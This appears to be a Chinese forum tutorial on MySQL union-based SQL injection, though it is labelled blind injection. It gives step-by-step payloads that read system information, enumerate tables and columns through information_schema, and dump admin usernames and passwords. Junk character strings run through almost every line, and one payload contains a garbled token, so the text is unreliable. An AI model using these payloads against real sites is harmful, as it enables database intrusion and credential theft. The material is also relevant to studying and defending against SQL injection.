本文介绍MYSQL盲注的一些语句和方法, g( E' t$ T- N$ w! _$ `# c, Z
i- j2 H# p$ q! S$ [2 a5 c% q3 N) f
学习盲注前先了解下 IFORMATION_SCHEMA 库
* p6 Z: B* u, S2 ~9 ~7 Q4 K
% B4 H& ^$ v8 j6 p- gMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
# i3 I7 I1 d( H# ~- m9 O存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
4 f3 S- _' X( `1 ~1.得到所有数据库名:
) O# X) W) t% S+ d) I9 r1 W8 m4 n|SCHEMATA ->存储数据库名的表
o: m- L9 K) L|---字段:SCHEMA_NAME ->数据库名称2 F7 J/ t6 G' G. ~
6 k/ Q2 r: g* Y/ i|TABLES ->存储表名
/ V9 j( X: I7 _6 M$ H9 u& n|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名, V" s, Z5 q7 G& f
|---字段:TABLE_NAME ->存储表的表名
8 a7 ?4 V$ U6 U- \* u8 e1 d& j( {/ j) e: F8 z
|COLUMNS ->存储的字段名表
& I0 Q: j) x9 k/ v! o|---字段:TABLE_SCHEMA ->该字段所属数据库名
7 E) `$ x( x5 D0 N0 G# h9 d|---字段:TABLE_NAME ->存储所属表的名称
) J; @: C; ~' |* o
+ `' t3 L% G' t+ F) j# f5 m|---字段:COLUMN_NAME ->该字段的名称
# j1 Z* Q _7 Q2 ]- ]0 H$ v2 R8 H% h- d
8 a8 Z; n$ p- O; L3 S0 V: u I8 \+ Z# N/ r0 i9 m+ e
###########################################################################7 [; ]4 P/ w4 X4 n* b6 a
9 k, t. p) d4 r" p x6 Y
0x001 获取系统信息:: i) C2 h! H# l4 I& |
( M' t; C. s, Y8 _3 n; E% H8 r
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
+ _$ `* h2 G8 U" \$ [/ Y8 w3 R4 ]# @2 |' D
/*3 w7 i4 i' F( H
m2 V- J& k' Z# A$ a; t( R
@@global.version_compile_os 获取系统版本
# B" p- E$ w# t
1 \, z" M W, |/ O3 |1 E. u@@datadir 数据库路径
$ T/ P. p5 ?7 A x; \database() 当前数据库名称
1 Z+ B$ \8 W3 W0x3c62723e 换行HEX值
8 K# t7 m. L4 z5 t0 @
$ s' Z: K) C8 G2 T- v*/
2 ~* _: _& z( F9 c2 ?) z$ l3 y
, z% j& y* w0 y6 R, V6 Z 3 Y5 e2 f; O# y3 K
% t+ K/ u# f/ _" r- b7 y! U3 P######################################################################
0 f. r* Q' R, C& [5 a" i- p
; r, C, b! M3 w, k0x002 获取表名; ~7 A+ v( H: Z( J
/ n# ?. w. A* M9 punion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
$ N' l9 J% T' A/ u
. _6 o4 \7 L7 ]& y' {" J. x
/ _9 o% p4 C( w2 {' }
* k; N7 I( u" I( B, f; N9 z z/*+ f6 z! y- v, d" w& J$ L) P
) S7 K0 f& k" H0 g
0x67617264656e 为当前数据库名
4 T" _+ r; c9 E( @# A
! i, |" d* ^& m2 @$ r$ B) ygroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
9 m0 k3 D4 b" e( g) O4 H7 v5 W+ i; ^3 ^) R# l
*/4 Z5 c- B% `0 `, ~% G3 J7 V! u$ T
5 y- M* `/ M" e######################################################################
' A, D) p! F7 P0 X% h2 ~1 S
/ K( N9 Q4 i1 J: c [/ S
3 {: {) E% @( n9 _$ T. }) W. _2 ]" u$ r" g
0x003 获取字段& t! h1 E( L" h/ U7 T2 s
6 V+ e4 f4 a' w8 E# [union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
* r4 w" i: |; g: s' G, @' M& q- x/ u$ n8 H5 b
/*
. x! ^" M; s. `6 t. m1 p) n, f. C- P
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
, _( U# ~0 i# c9 S; E
- w m6 B: V4 Q& \. I# D0x61646d696e ->选择一个表0 S0 Y' z5 s' Q5 S) F9 J* D
# H- R3 a7 W% Y8 w
0x67617264656e ->数据库名. Q' T$ a- N4 z0 y) F" }
1 l$ ?" V1 f, R*/
~$ z; `% E2 O8 n' q& V P* l! j, X: \; j7 w" g
#####################################################################. G+ e: Y* T, V; k4 ]8 b3 ~( r
8 K" ~! s: n. y6 a6 F+ ?
$ r0 ^/ ?& r' @, ^
6 N# Y3 b1 G( R2 p+ D/ ~4 G0x004 获取数据0 K, b7 N6 }6 A: V% C0 X( e4 Q
$ U8 Z0 S1 r$ z: k' ]2 @. M
union select 1,2,3
3 N' l7 {9 j* T0 c! u, m6 y2 l$ L) f% ~,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
% o& A$ h. c& l v* [4 ~1 a; P) J- `- q0 b+ ?
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin: u6 X# K* y; B4 X9 f0 g
?( @* p% m; ]* n
2 ]7 `( |; S/ T' J2 `1 s2 S
$ H/ D; V9 L+ J6 V& x3 {/*
3 n( y) Z2 `3 D: ]7 d, t
+ \ v5 u# R- H8 `/ v) |0x3c62723e 换行符号HEX编码
: [) @9 n' R; P- v" v7 v
$ G+ t! v, ]: U! t! s4 O/ c! A7 tgroup_concat 同时获得该字段所有数据
* ^. |% `* y; a) F, C/ w" t% }7 v4 w: N7 t8 c7 B
*/
, D! \( \$ E* f$ t4 ^! Z. u. |1 r
/ Q+ N: Q- W& i1 @ |